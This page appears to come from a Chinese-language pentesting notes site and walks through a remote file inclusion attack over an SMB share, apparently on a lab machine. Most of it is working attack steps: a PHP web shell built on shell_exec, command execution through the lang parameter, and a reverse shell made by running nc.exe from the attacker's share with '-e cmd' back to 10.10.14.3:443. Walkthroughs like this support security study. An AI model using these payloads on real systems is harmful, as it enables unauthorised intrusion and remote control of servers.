> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).
# RFI SMB 服务器
#### 通过远程 Web 服务器进行 RFI 测试：
我们尝试通过该 URL 上传一个远程文件 `?lang=http://10.10.14.3/index.html` 指向我们使用 Python3 搭建的本地 Web 服务器。
```bash
python3 -m http.server 80
```
```url
?lang=http://10.10.14.3/index.html
```
但这没有成功。
**创建 SMB 服务器：** 我们在本地使用 `smbserver.py` 并共享了当前目录：
```bash
smbserver.py share $(pwd) -smb2support
```
然后，我们尝试通过修改参数从 SMB 服务器上传一个文件 `lang`
```bash
?lang=/10.10.14.3/share/index.html
```
* 这一次，服务器正确地解释了我们的文件 `index.html`，显示其内容（"Hello World"）。
**创建一个 PHP WebShell 文件（`cmd.php）`** 我们创建了一个文件 `cmd.php` 在我们的 SMB 服务器上，通过参数远程执行命令 `cmd`:
```bash
" . shell_exec($_GET['cmd']) . "";
?>
```
**通过 SMB 执行命令**
```bash
//10.10.14.3/share/cmd.php&cmd=
```
使用下面的 URL，我们执行了命令 `whoami`:
```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```
### 反向 Shell（nc.exe）
**下载 `nc.exe` 用于反向 Shell：**/ 我们获取了 `nc.exe` 来自 fuzzing 工具中的二进制文件，位于 `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` 并将其复制到工作目录中。
```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```
**在 443 端口监听：**/ 我们设置了一个 `nc` 在 443 端口上的监听器：
```bash
rlwrap nc -nvlp 443
```
**通过 SMB 执行反向 Shell 命令：**/ 然后我们启动了一个反向 Shell，将参数指向 `cmd` 我们的文件
```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```
我们最终获得了到我们机器的反向 Shell。
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